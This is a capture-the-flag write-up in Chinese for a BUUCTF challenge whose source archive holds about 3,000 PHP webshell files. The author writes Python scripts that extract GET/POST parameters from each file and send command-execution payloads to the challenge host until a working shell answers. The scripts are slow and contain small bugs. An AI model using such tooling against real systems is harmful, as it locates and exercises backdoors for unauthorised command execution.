一来搞下,有点意思,然后直接在url
后面加上www.tar.gz
进行下载文件下载,这文件有点大,下载的有点慢,我以为是出错了,又去扫目录。。wtf
。。不管扫啥都是200
。。。
不过好在,等扫描完了,文件下好了。
40M
,真的狠,一打开,我惊了。
3000
个文件。。命令看起来还没啥规则 。
硬着头皮解压后,随意点开一个文件。
1800
多行。。。丢在本地环境里面去运行下,还尼玛报错了。
不过换了几个都是12
或者13
行有错,看看到底是啥。
居然是eval
,不过上面还有一个if
,明显不相等,这个shell
不可利用。。。
然后又去靶场环境试了下,有回显了。
不过怎么构造都不行,看来是有的shell
有问题,卧槽, 估计是想让写脚本找一个可以用的shell
吧。。。
高明的黑客
,牛逼了,说干就干,先收集有哪些种类的shell
,之前就已经看到了
assert
eval
exec
然后又找到了system
,也不知道还有没有其他的,暂时就这四个了。
思路是遍历每个文件,找到$_GET
或者$_POST
后的参数,然后提交参数,传入echo 13579
,如果在回显中能找到13579
的,大概就能执行的。
运行结果为
除了assert
有问题以外,其余的都正常了,exec
默认是没回显的,不管它。也不想写多个payload
,先这样试试吧,感觉好麻烦阿,我擦。。。。
第一步,读文件数量
import requests
import os
import re
file_path = "C:/Users/TuTuB/Downloads/src/"
phpfiles = os.listdir(file_path)
i = 0
for phpfile in phpfiles:
print(phpfile)
i += 1
print(i)
这个算是没问题了
第二步,打开文件,搜索关键字,这里得用正则了。
with open(phpFullPath, 'r') as txt:
shell = txt.read()
# print(shell)
# wordList = re.findall(regGetPost,shell) 拿参数,没去判断get或者post
wordList = [word[2:-2] for word in re.findall(regGetPost, shell)] # 优化参数
这个也正常拿到了
第三步,发送请求,我这里没有使用get
或者post
来区分,直接用post
提交的。
for word in wordList:
url = www + phpfile + "?" + word + "=" + payload
data = word + "=" + payload
html = requests.post(url, headers=header, data=data)
i += 1
if "13579" in html.text:
print(phpfile + " is ok !" + word + " is ok")
flag = "flag"
print(i)
break
else:
print(word)
最后组合起来,加个多线程,但是一用多线程就这样,其实还是单线程慢慢跑来得好。。。这个有可能会跑不答案,没多线程就太慢了
帖个完整的,后来研究了n个小时的多线程和多进程我发现,我根本用不好这玩意,气死了,还是用单线程吧!!!
而且应该是由于我在选payload
的时候,没注意去关键字,导致要尝试的次数特别多,应该要结合那几个危险函数来匹配的,这样速度会快很多,暂时先这样吧,回头碰到了再优化
import requests
import os
import re
import time
www = "http://025afb55-2fd9-4616-9183-8f399e22727d.node3.buuoj.cn/"
payload = "echo 13579;"
file_path = "D:\\Programs\\PHPStudy\\WWW\\srctest\\"
phpfiles = os.listdir(file_path)
header = {'Content-Type': 'application/x-www-form-urlencoded'}
flag = ""
i = 0
regGetPost = "\(.+\]"
for phpfile in phpfiles:
try:
print("\n", phpfile)
phpFullPath = file_path + phpfile
with open(phpFullPath, 'r') as txt:
shell = txt.read()
wordList = [word[2:-2] for word in re.findall(regGetPost, shell)]
print(wordList)
for word in wordList:
url = www + phpfile + "?" + word + "=" + payload
data = word + "=" + payload
html = requests.post(url, headers=header, data=data)
i += 1
print('*', end="")
if "13579" in html.text:
print("\n" + phpfile + " is ok !" + word + " is ok,一共跑了" + i +"次")
flag = 13579
break
if flag == 13579:
break
except Exception as e:
pass
自己的跑了半个小时都没跑出来,卧槽了,运行量也太大了,服了。
不过去看了下其它writeup
里面的答案,用单个页面测试是没有问题的。
反向
优化第二版。
import requests
import os
import re
www = "http://025afb55-2fd9-4616-9183-8f399e22727d.node3.buuoj.cn/"
file_path = "D:\\Programs\\PHPStudy\\WWW\\srctest\\"
phpfiles = os.listdir(file_path)
header = {'Content-Type': 'application/x-www-form-urlencoded'}
flag = ""
i = 0
regGetPost = "\w+\(.+\]"
for phpfile in phpfiles:
print("\n", phpfile)
phpFullPath = file_path + phpfile
try:
with open(phpFullPath, 'r') as txt:
shell = txt.read()
wordList = [word for word in re.findall(regGetPost, shell)]
#print(wordList)
for word in wordList:
if "eval" in word:
payload = "echo 13579;"
elif "assert" in word:
payload = 'var_dump("echo 13579")'
else:
payload = "echo 13579"
if "$_GET['" in word :
a = word.index("$_GET['")
word = word[a+7:-2]
else:
a = word.index("$_POST['")
word = word[a+8:-2]
url = www + phpfile + "?" + word + "=" + payload
#print(url)
data = word + "=" + payload
html = requests.post(url, headers=header, data=data)
i += 1
print('*', end="")
if "13579" in html.text:
print("\n" + phpfile + " is ok !" + word + " is ok,一共跑了" + i +"次")
flag = 13579
break
if flag == 13579:
break
except Exception as e :
pass
除了上述的几个参数以外,这里还找到了第五个参数preg_replace()
,使用e
标记
不过看起来,这个虽然能执行命令,但是好像没法利用,然后用自己的简化过的payload
跑了一遍,好像跑不出正确答案,这个还有参数赋值给变量,然后去执行变量的搞法,那这么玩还是得全匹配阿,这个太难受了吧。。。
最后还是放弃写出个快速的了,其实还有一种方法就是,将源码进行分类,每100
个文件跑一次,分30个文件跑,同时可以跑5
个,这样应该可以加快点速度,这题目真是有点恶心我
不过收获还是有一些的,暂时先这样吧,有好的想法的大佬可以帮忙指正一下。